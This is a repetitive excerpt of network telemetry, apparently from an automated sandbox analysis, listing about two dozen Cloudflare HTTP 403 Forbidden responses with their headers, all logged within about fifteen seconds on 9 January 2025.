Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:52 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IVuwrC74ix%2FX68yomQPEZtpQMWq%2BTcS7HLidOAE4Q89qY8rQ2HPzC28HGoyvKZmb6swaK3reAlEO%2BPv6rkThjJX1NviRZzLouYcYQ56gzbRk1O%2Bbt9UQxK4oV%2BaucFZo8ERr9fpst%2BlHdITP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6299d49c413-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1687&rtt_var=634&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1730883&cwnd=181&unsent_bytes=0&cid=441ce3130f226ab3&ts=124&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:52 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HKiBqHx%2BnXNrLhrqOaS54CuuCULovvLa8%2BWxT6oP1lFtAJ23hi94S7DzZFCBWqW%2F90cq46p8QRzLeL9CzjFAY2%2BIVYy%2BNl1Ef2QMzXP0yoa6bY5ZddSDyxKwvnhJh2DTFKR%2FIfhknq7l7Gy5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b62d6ac5f3bb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1442&min_rtt=1433&rtt_var=556&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1935056&cwnd=82&unsent_bytes=0&cid=358fcd2c2f60d56f&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:53 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cT5kvcGvaQfPPX9vFv0Ult%2BUDLxRj1SUlDur%2F9u5AxVL7x4NVHfIP8noybYi7LeRQkvgNvsK2l0Nbb71sGva5tJGIjdYo6%2FTMRVUk63%2B3ZBr01jMWF7b1qfsdCuv6XCQ2SU76QFEOW%2BrT9pm"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6310d8042cf-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1722&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1687861&cwnd=252&unsent_bytes=0&cid=671bdb4e36013aa9&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:54 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PYCOcNcCPLbttbhQjAdfJadLNGwG9c1jy9uRIxDc8CI4e7vaxNO1Vs40S1N4gj%2FS5tIUNR9etV0Q7HnyXxooLAiEFkrBOVggVgQ5VZG5T077eIfgTZ8fmuiJ9mzkQ%2F53j8NZA9exjes%2BCjzy"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6358d1c727a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1879&min_rtt=1877&rtt_var=708&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1541710&cwnd=224&unsent_bytes=0&cid=fe15930e2c8a7285&ts=260&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:54 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SVrcLGi1saHgTLfdMzee4zAy96uYIXOA8cAKzc3Rd1IfiCDTw7wA8mJVO4hxvNAbsDLKCBEOuQzxR340vk7K%2Bstg3L88iefkvbXIG2PqisfCKJfRhynf2fBvMMpILyVmZgqUGQDH7ats5zBZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6392fb141a3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2190&min_rtt=2181&rtt_var=837&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1292607&cwnd=162&unsent_bytes=0&cid=b46fa61e25adb766&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:55 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Ailqv6vON3VEDPOXA86mDiNlIS20dTZ7jZnFqvmZW9RtFNCU36IWrY%2B6K%2FFtQeioQyCxvBvQWt5qucAYXJSKJLNukx5vq6tk3oi40er1sxvNaPwtn1tP2ee4M7KxVgTCLkjWzR0cx8oNZiP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b63d0ee29e05-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1886&min_rtt=1877&rtt_var=722&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1498204&cwnd=242&unsent_bytes=0&cid=19a8a2e22708c9e3&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:56 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2F0Rio9w7FrIdDZepjl70GelvaGmK75W3Iud3YxmpYaJcA3e7W79mtxjGw%2B8jPzyf%2BAJBYWoOvtbRe6f5HfZ%2Bx0Hvh0LTLSWFtXIxg8MCzLpU1zpfnmC5dHOXY9SrK%2FKFv5B6PiWtx4FSYaJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b640dd5a5e7c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1672&rtt_var=647&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1665715&cwnd=196&unsent_bytes=0&cid=c5263d2a173dcad6&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:56 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FkZZkOal9Dyl%2FP8apTGxvffEc8Z9S6eLhFW6bGk5DPWIA8S1EAiXAtWhY0nWnk6nQiyZmrQbixLaBhdDMELAHZlBexLa0uPDq6Ma66lkfDbAG%2FfU3UAtO5UXOyVMAlzYaTLVqRu4cHCR6r1%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b644cf974245-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2180&min_rtt=2178&rtt_var=818&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1340679&cwnd=193&unsent_bytes=0&cid=2c292f6a20cc5e10&ts=154&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:57 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tVeJKSFQQKIXcFAu%2FEo7CUbsWEEmYABSRtpA%2FFCE7kCBHxxJantTXGygFrgP8SBjiTzVou9XmU%2F6czkLgLau0Z92MMbiQ3t8%2Bs8B%2BDTl1SnV1Ln%2FkkAPhUBEuCnIcu%2B2slTAAXddchuTPQSW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b64898a342ca-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1669&rtt_var=636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1749550&cwnd=252&unsent_bytes=0&cid=217105d744bb984c&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:57 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ABSUp%2F%2BQQSsvFmpcJ7rBJdcxz0eyiCmQEqWyZb%2FWz8s%2BZz0bzypYDBT5VVnXzorri5e8B0fviDxhhT2gvZsPfvyKRcTspxMZOlz%2Bmirj17S0DowJkA2AuknwNQiKADOeZ299wtF7W2UZ%2BAa%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b64c5ccd41ba-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1765&min_rtt=1747&rtt_var=668&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1671436&cwnd=192&unsent_bytes=0&cid=61d406477a674366&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:58 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lahk5wGF%2FFCZzgGJuQ1W3HDRZek8wjOj69IwGhPYX%2BJn2c1BZswK9WZy4ZfQZuwLkn8yD5MqRdUmQ4urIBF2VcAMAKShkqOuGt3ZHI4mr2vMq6KvBbNqAQuTBwU3WObcU8bVBuXsVQGqqbyr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b65069e94397-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1566&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1815920&cwnd=79&unsent_bytes=0&cid=ba8b70bb434dc3f8&ts=137&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W4PO9xDhCcf7l2TRpJ%2Fm%2FXlsAkHC2%2Bfkse4aDMBBl7w51s4CCONzFoIm099q3PqijxzGl4CphbxClOyZp8IjMqFljWtiWj%2FWACBbCMY9cEdWoqQaJS%2B3gukO4KFQ3AB%2B%2F84KRn5szGYuywuI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6543aa542e2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1801&min_rtt=1747&rtt_var=694&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1671436&cwnd=187&unsent_bytes=0&cid=dd17aacc32406a21&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:28:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RH4%2BaEQakBgfYLcGJqITB1SRAKwukL8a10UtXzdeRCODfD1jZQ%2BRcSO%2FYwD9QLYqkqtMyJUXsbX6kZJ6VRn%2BdgtQMib7NY4Khn15J%2BCXPrsF9Yi1dq0E%2B%2F2fFCjq6JQGaL7qIGM3wcLQ1hxJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6580f5a4213-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1760&min_rtt=1758&rtt_var=665&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1639528&cwnd=231&unsent_bytes=0&cid=197f7562016a253b&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:00 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jGjX81iqviB%2F2V3uRMIQb%2Bl%2FKKtOZ47%2BbY284PS1KhkmMkbkc15zebf61JmMyJ71cq9TYxayKMGTSFe4u7kW%2FaKHdB7YH%2BE6MP8py76dM5x8GEib8RnvppCvbV6Z8jy5UcxmFpfWd9JDNGIh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b65bcba243af-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1633&rtt_var=617&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1767554&cwnd=230&unsent_bytes=0&cid=8d9b0673f2059cae&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:00 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e5%2FQrhkV2YOoRPXVBZy1yGUKXN%2FFcvh4HpbfQ3ParsDaWTqIBCJMX89Njj9cQlZqOR%2F10W%2BkYtruextSpJOJzTLWEDMyJv8GQG9gp4inJ59sHhlF%2FpniMoSSqHI1BfgUbGCcaYqH3uwGi9rZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b65f6b4d4267-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1555&rtt_var=611&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1752701&cwnd=236&unsent_bytes=0&cid=51410eb284bad79b&ts=112&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4nEHMh3pvlJakNxxJdcE%2BadH9YHhQJ%2BoFVrFIieEC%2FEQ5hdJDZ%2BOd%2F%2BF3Z4lR%2B3wAmmcec8d4AKO7SR8k4qvXyyRj%2FcZVrCSommskOtkRGP9FDLaEE31sSEQJQeqisOIbByzsT%2FUXf6L9uxM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6632dcb4358-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1576&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1788120&cwnd=206&unsent_bytes=0&cid=fcb056158d1cd520&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:02 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5giw9a%2Bmd9%2BmrZgfDXsBzI%2B97oezJIQVWl%2FA4bLBkLG%2BkIMb%2FOqf0bTg0o82lstbC4Y2pVui5RAF3f0E2nKpaU1oXnY0Kv%2FAgMl2BvLIXGTbzk7gpZcr6VhzswdKC0K4r21GBrxYmpjt2QFf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b666de5f0c94-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1485&min_rtt=1479&rtt_var=566&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1912246&cwnd=146&unsent_bytes=0&cid=e59dbe77673e2d72&ts=124&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:02 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fs82iuS7Ee5h0KeeYgtzrHszFqi5%2FirM1y%2Bv5zK5duVqYX%2FQrhT8GWei0j9zh3xSzEvsq1CojEAyeeIoH2f%2B%2FUaOKySFeRHweTxsiXU4tsCiEOHx6SqOsfbTzSfdP6vDqo3kwb%2FbpDNwP4VF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b66a8f5b4238-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1611&min_rtt=1603&rtt_var=619&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1744324&cwnd=244&unsent_bytes=0&cid=bc8cd1b6243c8b31&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:03 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h43tsXtzwJZ2BNlBCDAzbc3Xr64fNGnDdqov%2Fj2w%2BLqLlVnT7D7KdOCLqw4HwiYhcw9WzW4UjHPA8EeQuUYKZm7IphOr%2BWKoIIH8f2hOV6%2FSqjBiz50IAahX%2BM5YKBinii4RHdnrqc5rQSks"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b66e4bb941f9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1864&min_rtt=1857&rtt_var=712&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1520833&cwnd=216&unsent_bytes=0&cid=d1aaa514fbc6f9c2&ts=133&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:03 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z4WVSYu%2F5OwnECM0ByXwlZ9wriKOn%2BjVjYwF29BciUkxHVFuuQHJt9QqGB%2Bs5u6qLI1tJI3I1qO4FSeg5bvi0Cm43wkGeV3UCybFbcj1nBD4Fj0jcsTyNsC8mkSfeXmS7RkMMMyChr4JVnbR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b6721f4bc360-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1480&min_rtt=1472&rtt_var=568&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1899804&cwnd=138&unsent_bytes=0&cid=0286718ff10484ae&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:04 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2xYeSpxRp%2B1TjJjyMI1YfubWpJCZIgPSSAgrDpzLlw6bF98bYPohFKZpLvwaV1YpJa4%2BjnW4F%2BiO8GUxjcHR1FuJsiHFmL%2FRHap2KNFbl0coG39ZRjvoZcP5eJ3UQr3hinwlRRmEnTAzzbhH"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b675cc2f7274-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2065&min_rtt=2062&rtt_var=780&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1395793&cwnd=182&unsent_bytes=0&cid=650e6c45bfcf0179&ts=126&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:05 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HpzL7OLGmc2BEJ1dI9fFYvol1qrn4qAN202yRKqGZMUXff4I2gMsRafw7fdDCECaZKoZA2HXRZGO7yyyIvt898T1Vg3D%2FL3tg2PJZd7sI%2B9J%2FPt5xIBfCH3zvTr0M%2FzBPRO9UyUpAS0V0Rfk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b679bcc90f99-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1466&rtt_var=558&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1944074&cwnd=164&unsent_bytes=0&cid=f37b039eb105ebca&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:28:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:05 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1UK67q7%2B2KuPJ9TFdeQiliOqB4VUz1jrV3JLurE0XbQ8WZ5cEQpqrjuTcKosaLFb9%2FtGhQmGyr6V5CYb8ct4TRCi1nYbDqg7mvIbk2eRklQAHn7J5t1tYWLSTk2kA07pQSQAmRbGXAU%2ByUH%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b67d8d458c6f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2025&min_rtt=2011&rtt_var=764&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1452013&cwnd=213&unsent_bytes=0&cid=eff9aa19556f6750&ts=135&x=0"
